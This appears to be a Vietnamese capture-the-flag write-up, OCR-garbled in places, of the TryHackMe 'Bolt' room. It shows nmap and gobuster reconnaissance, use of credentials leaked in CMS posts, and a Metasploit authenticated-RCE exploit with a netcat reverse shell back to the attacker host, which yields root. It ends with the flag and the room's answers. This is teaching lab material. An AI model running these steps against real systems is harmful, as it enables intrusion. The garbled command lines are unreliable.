Server thuc hién viéc khai thac

https://tryhackme.com/room/bolt

Dia chiip hién thoi:

- May kali: 10.4.43.108
- May server khai thac: 10.10.203.216

Tién hanh thu thap thdng tin

nmap -vv -T4 -p- -sV -O -Pn 10.10.203.216

Nmap scan report for 10.10.203.216

Host is up, received user-set (0.39s latency).
Scanned at 2022-08-23 03:13:29 EDT for 352s
Not shown: 65532 closed tcp ports (reset)

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6pl Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)

80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))

8000/tcp open http syn-ack ttl 61 (PHP 7.2.32-1)

Server dang chay trén 3 port 22, 80 va 8000 vdi cac dich vu ssh va http. Cac phién ban
dich vu dinh kém ké bén.

Uptime guess: 6.925 days (since Tue Aug 16 05:07:05 2022)
Network Distance: 4 hops

TCP Sequence Prediction: Difficulty=258 (Good luck!)

IP ID Sequence Generation: ALl zeros

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Ngoai ra, may cht dang chay OS la linux.

* Test th&r dang nhap vao dich vu ssh

e /home/kali/Desktop
sh admin@l@.10.203.216
admin@10.10.203.216's password:
Permission denied, please try again.

admin@10.10.203.216's password:

Permission denied, please try again.

admin@10.10.203.216's password:

admin@l0.10.203.216: Permission denied (publickey,password).

Thr mot vai mat khau kha thi nhung khéong duoc.


https://tryhackme.com/room/bolt

* Md& trang web truy cap trén port 80 cla server.

TryHackMe | Bolt X Apache2 Ubuntu Default Pag *

C @ O & 10.10.203.216

@ Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after
installation en Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu teols. The cenfiguration system is fully
documented in jusr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/
|-- apache2.conf

‘--  ports.conf
| -- mods-enabled
| |-- *.load
| “-- *_conf
|-- conf-enabled
| *-- *.conf
|-- sites-enabled
| ‘-- *.conf

DAy chi la m6t trang web chi cho thay dich vu apache dang hoat déng. Tim kiém thir cac
trang web an

obuster dir -w common-web-content.txt -u 10.10.203.216 -x php,py,sh,txt

(Status:
(Status:
(Status:
(Status:
.htaccess (Status:
.htpasswd.sh (Status:
.hta.py (Status:
.htaccess.php (Status:
.htpasswd. txt (Status:

.htaccess.py (Status:
.htpasswd (Status:
.htaccess.sh (Status:
.htpasswd.php (Status:
.htaccess.txt (Status:
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.htpasswd.py (Status:
/index.html (Status:
/server-status (Status:




Sau khi kiém tra qua status code thi khéng xac nhan thy cé dir nao bi 4n mét cach kha
nghi. (Thudng ching ta quan tdm 200-0K, hoac 301-chuyén hudng).

Kiém tra th& ma ngudn cla trang web xem cd gi bi bd quén lai hay khéng?

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: https://launchpad.net/bugs/1288690
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">

margin: Opx Opx Opx Opx;
padding: @px Opx Opx Opx;
}

body, html {
padding: 3px 3px 3px 3px;

background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;

}

div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: @px Opx Opx Opx;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;

text-align: center;
=>» Khdng cé théng tin nao gid tri 13m.
s M3 trang web truy cap trén port 8000 cua server.

C @ O & 10.10.203.216

Bolt Home Seconditem v  Allpages The Bolt site

Bolt

A hero is unleashed




Kiém tra m3 ngudn cla no.

view-source:http://10.10.203.216:8000/

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.8">
<title=Bolt | A hero is unleashed</title=
<link href="https://fonts.googleapis.com/css?family=Bitter|Roboto:400,480i,700" rel="stylesheet">
<link rel="stylesheet" href="/theme/base-20818/css/bulma.css?B8cadBa2ebb">
<link rel="stylesheet" href="/theme/base-2018/css/theme.css?6cbbbbfedf =
<meta name="generator” content="Bolt">
<link rel="canonical" href="http://10.10.203.216:8008/">
</head>
<body class="front">
<a href="#main-content" class="visually-hidden focusable skip-link"=Skip to main content</a>

<header role="banner" class="header">
<nav class="navbar is-fixed-top is-primary" role="navigation" aria-label="main navigation">
<div class="container">
<div class="navbar-brand">
<span class="navbar-item"s

Bolt

</span=

<span class="navbar-burger” data-target="navbar-toggle">
<span=</span=
<span></span>
<span></span>

</span>

</div>

<div class="navbar-menu" id="navbar-toggle"=
<div class="navbar-start">

<a href=";" title='This is the first menu item.' class="navbar-item is-active first'>Home</a>
<div class="navbar-item
has-dropdown is-hoverable"=<a href="/entry/message-from-admin" title='"' class='navbar-link '=Second item</a=<div class="navbar-drop
<a href="/pages" title='' class='navbar-item '=All pages</a>
<a href="http://bolt.cm" title='' eclass='navbar-item last'>The Bolt site</a>

Khong co théng tin nao bi bd quén & day. Tién hanh tim kiém thd cac trang web an cla
webserver nay.

gobuster dir -w common-web-content.txt -u http://10.10.203.216:8000 -x py,sh,txt,php

Method:

Threads:

Wordlist: common-web-content. txt
Negative Status codes: 404

User Agent: gobuster/3.1.0
Extensions: py.sh,txt,php

Timeout: l@s

(Status:
(Status:
/index.php (Status:
J/index.php (Status:
/pages (Status:
/search (Status:




O day chuiing ta xac nhan cé mot vai status code duoc trd vé 200. Tién hanh thir tirng cai.

Két qua nhan duoc khéng may kha quan khi khéng cé théng tin gi tién sdu hon hay cac
form dinh dang dang nhap dinh dang trudc do da lam.

Kiém tra cac port UDP dang hoat dong:

Nmap scan report for 10.10.203.216

Host is up, received user-set (0.39s latency).

Scanned at 2022-08-23 03:17:05 EDT for 1087s

Not shown: 989 closed udp ports (port-unreach)
STATE SERVICE REASON VERSION
open|filtered dhcpc no-response
open|filtered auth no-response
open|filtered instl boots no-response
open|Tiltered unknown no-response
open|Tiltered unknown no-response
open|filtered unknown no-response

open|filtered unknown no-response
open|Tiltered unknown no-response
open|filtered unknown no-response
open|filtered bacnet no-response
open|filtered unknown no-response

files from: fusr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1087.71 seconds

Raw packets sent: 1447 (66.305KB) | Rcvd: 1003 (75.112KB)

Ta nhan thay cé mot vai port & trang thai open nhung d3 bj tudng Ira chan “filtered”,
nén van dé nay s& bo qua.

Nhu vay qud trinh thu thap cac thong tin lién quan da két thic, nhung thuc su chua ¢
hudng di cu thé dé tién sdu hon vao server.

Ldc nay kha nghi nhat [a nén quay lai trang web trén port 8000 phia trén dé tim kiém thdéng
tin. Khi ma tim kiém k§ thuat bat kha thi thi nén tim kiém vat ly — dai loai nhu cé cdi duoc
viét ra khong hay cé button nao khéng?

Ta c6 thay 2 bai post nhu nay.

Message for IT Department
Hey guys,

i suppose this is our secret forum right? | posted my first message for our readers today but there seems to
be a lot of freespace out there. Please check it out! my password is boltadmin123 just incase you need it!

Regards,

Jake (Admin)



Message From Admin

Hello Everyone,

Welcome to this site, myself Jake and my username is bolt .| am still new to this CMS so it can take awhile
for me to get used to this CMS but believe me i have some great content coming up for you all!

Regards,
Jake (Admin)

Pai loai théng qua 2 bai post nay cé thé hiéu nhuv 6ng admin tén Jake nay dé lai 2 manh
méi quan trong nhu sau:

o Username: bolt
o Password: boltadmin123

Nhung bay gioy ddng nhap & dau? C6 2 nai cé thé dang nhap vdi tai khodn nhu vay, mot |a
dich vu ssh, cai con lai chinh |a ddng nhap quyén quan tri trén trang web.



® /home/kali/Desktop
: bolt@l0.10.203.216
bolt@10.10.203.216"'s password:

Permission denied, please try
bolt@10.16.203.216"'s password:
Permission denied, please try
bolt@10.10.203.216"'s password:

Nhu vay chi con cach tim noi dang nhap trang quan tri cia web

© 2022 - This website is Built with Bolt. Home Seconditem All pages The Bolt site

Dua vao bén trai ta thay trang web duoc xay duwng vdi Bolt nén ta truy cap thir “The Bolt
site” bén phai dé xem chuyén gi s& xay ra.
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Ldc nay cé thé thay Boltcms nay nhu 1a mdt du an open source phuc vu cho nhu cau build
website. Kiéu nhu 1a mot form cé san dé dung web, dai loai nhu wordpress. Luu y: phan
nay nhu 13 dang tim hiéu thir ma ngudn tao nén trang web thui chit phai tim kiém chd login

g day.



Dén day roi thi search gg thir chd login.

how to login on bolt cms X = § Q
Q Tatcd [JVideo @ Tintec [E] Hinhanh & Muasdm i Thém Céng cu

Khodng 52.600.000 két qua (0,45 gidy)

End user Manual / Login

Go to the login page at http://yourdomain.com/bolt Sign up with your: Username or
email. Password.

https://docs.boltcms.io » manual » login

Login | Bolt Documentation

@ Gidi thiéu vé doan trich ndi bt « @ Phan hdi

C6 thé bdm vao dé tim hiéu thém, nhung théng qua hién thi cé thé thay cach ma dang
nhap trén nén tadng Bolt CMS nay. Domain ma chiing ta can sé |a:

http://10.10.203.216/bolt

Ta duoc:

O A 10.10.203.216

Bolt .,

Please log on

+ Logon forgot my password



O & 10.10.203.216

Bolt Bolt

Dashboard Dashboard

Content

You've been logged on successfully. ¥ Configuration Notices

Bolt has detected one or more

E

ﬂ Add ...~ configuration issues. You should resclve
these, for optimum performance:

E Recentlv edited Entries MoriEnirics o - The mail configuration parameters

have not been set up. This may
NOZ  Message for IT Department Hey guys, i s @ Edit - interfere with password resets, and
m ght? | posted my first mess - extension functionality. Please set up
. o the mailoptions in config.yml.
M2 1 Message From Admin Hello & Edit ~

nd my username is bolt .1 am st

! Unable to fetch news!

Unable to connect to
https://news.bolt.cm/

P
= |

O Latest system activity

- Admin logged in (2

- Admin logged in (2

- Admin logged out (2 y
- Updated user account Admin". (2 years

Nhu vay server nay chay Bolt version 3.7.1
Tim kiém th(r cac 16 bado mat cd thé cé véi phién ban nay.

/home/kali/Desktop
it Bolt CMS

- Cross-5Site Request Forgery php/webapps/47501. txt

- Cross-Site Scripting php/webapps/46495. txt
- Cross-Site Request Forgery / Remote Code Execution php/webapps/46664 . html
- Authenticated Remote Code Execution php/webapps/48296. py
.2 - Cross-Site Scripting php/webapps/46014. txt
t

FJi rary File Upload (Metasploit) php/remote/38196.rb

Shellcodes: No Results

Dua vao két qua ta thay cé thé thuc hién khai thac thir “Bolt CMS 3.7.0” do nd cé phién
ban gan nhat v&i phién ban hién tai cla server.

St dung metasploit:



sf6 > search bolt

hing Modules

osure Date Rank

0 exploit/unix/webapp/BOTE authenticated rce 2020-05-07 BOLt CMS 3.7.0 - Authenticated Remote Code Execution
1 exploit/multi/http/BOLE file upload 2015-08-17 CMS Bollf File Upload Vulnerability

A 2

L&i khai thac s6 “0” |a cla phién ban 3.7.0 gan nhét.

msf6é > use @
Using configured payload cmd/unix/reverse netcat
msf6 exploit( ) > show options

Module options (exploit/unix/webapp/bolt_authenticated rce):

Name Current Setting

FILE TRAVERSAL PATH ../../../public/files Traver a from "/fi " on the web server to "/root" on the server

PASSWORD

Proxies A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT The target port (TCP)

SRVHOST The local host or network interface to listen on. This must be an address on the local machin
e or 0.0.0.0 to listen on all addresses.

SRVPORT The local port to listen on.

SSL Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

TARGETURI Base path to Bolt CMS

URIPATH The URI to use for this expleit (default is random)

USERNAME Username to authenticate with

VHOST HTTP server virtual host

Payload options (cmd/unix/reverse netcat):

Name Current Setting Required D ription

LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

2 Linux (cmd)

Dién vao céc trudng théng tin ma duwoc “Required”.

msf6 loit( | set USERNAME bolt
USERNAME => bolt

msfe exploit( | set PASSWORD boltadminl23
PASSWORD == boltadminl23

msT6 exploit( ) set RHOSTS 10.10.203.216
RHOSTS => 10.10.203.216

msfé exploit( ] set LHOST 10.4.43.108
LHOST => 10.4.43.108

Thong tin sau dé sé tré thanh:
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msf6 exploit( ) > show options
Module options (exploit/unix/webapp/bolt_authenticated rce):
Name Current Setting

FILE TRAVERSAL PATH /| / 2 fri /files" on the web server to "/root" on the server

PASSWORD a i i

Proxies p chain of format type cport[,type:host:port][...]

RHOSTS 16.10.203.216 get host(s), see https ithub.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT 8000 yes > target port (TCP)

SRVHOST 0.0.0.0 local host or network interface to listen on. This must be an address on the local machin
0.0 to listen on all addresses

SRVPORT 8080 The local port to listen on

SSL false Negotiate SSL/TLS for outgeing connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

TARGETURI / Base path to Bolt CMS

URIPATH The URI to use for this exploit (default is random)

USERNAME bolt Username to authenticate with

VHOST m HTTP server virtual host

Payload options (cmd/unix/reverse netcat):

Name Current Setting Required Description

yes The listen address (an interface may be specified)
yes The listen port

) > exploit

Started reverse TCP handler on 10.4.43.108:4444

Running automatic check ("set AutoCheck false" to disable)

The target is vulnerable. Successfully changed the /bolt/profile username to PHP § GET variable "ijgxyq".

Found 3 potential token(s) for creating .php files.

Deleted file yiefjksxdvji.php.

Used token f377bad90f2c5f2273d56ded4a8 to create uxkwieez.php.

Attempting to execute the payload via "/files/uxkwieez.php?ijqxyg="payload™"

No response, may have executed a blocking payload!

Command shell session 1 opened (10.4.43.108:4444 -> 10.10.203.216:43236) at 2022-08-23 0
[+] Deleted file uxkwieez.php.
[+] Reverted user profile back to original state.

whoami

root

pwd
/home/bolt/public/files

Nhu vay ta d3 tién hanh tan cong thanh cdng vao server véi account root.
Va cubi cung la tim flag cho cai server nay.

Sau khi loay hoay vai ché thi noi gidu flag 13 trong thu muc home

home
1s -la

total 288

drwxr-xr-x 3 root root 4096 Jul 2020
drwxr-xr-x 27 root root 4096 Jul 2020

drwxr-xr-x 10 bolt bolt 4096 Jul 2020 bolt

-rw-r--r-- 1 root root 277509 Jul 2020 composer-setup.php
-rw-r--r-- 1 root root 34 Jul 2020 flag.txt

cat Tlag.txt

THM{whO d@35nt 10ve5 bO17 rlgh77?}

Va nhu vay |a d3 hoan thanh duagc server nay. Két quad sé la:
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What port number has a web server with a CMS running?
8000

What is the username we can find in the CMS?
bolt

What is the password we can find for the username?

boltadmin123

What version of the CMS is installed on the server? (Ex: Name 1.1.1)

bolt3.7.1

There's an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What's its EDB-ID?

48296

Metasploit recently added an exploit module for this vulnerability. What's the full path For this exploit? (Ex: exploit/....)

MNote: If you can't find the exploit module its most likely because your metasploit isn't updated. Run “apt update” then “apt install metasploit-framework’
exploit/unix/webapp/bolt_authenticated_rce

Set the LHOST, LPORT, RHOST, USERNAME, PASSWORD in msfconsole before running the exploit
Mo answer needed

Look for flag.kxt inside the machine.

THM{wh0_d035nt_lOveS_bol7_r1gh7?}

Note: & cau hdi vé ID cla cdi |6i nay “There's an exploit for a previous version of this CMS,
which allows authenticated RCE. Find it on Exploit DB. What's its EDB-ID?” thi ta dua vao
chi s6 bén phai cla k&t qua tim kiém tir searchsploit ban n3y (48296).

/home/kali/Desktop
it Bolt CMS

Exploit Title

.10 - Cross-Site Request Forgery php/webapps/47501. txt

.4 - Cross-Site Scripting php/webapps/46495. txt
.6 - Cross-Site Request Forgery / Remote Code Execution php/webapps/46664. html
.0 - Authenticated Remote Code Execution php/webapps/48296. py
.6.2 - Cross-Site Scripting php/webapps/46014. txt
rbitrary File Upload (Metasploit) php/remote/38196.rb

Shellcodes: No Results
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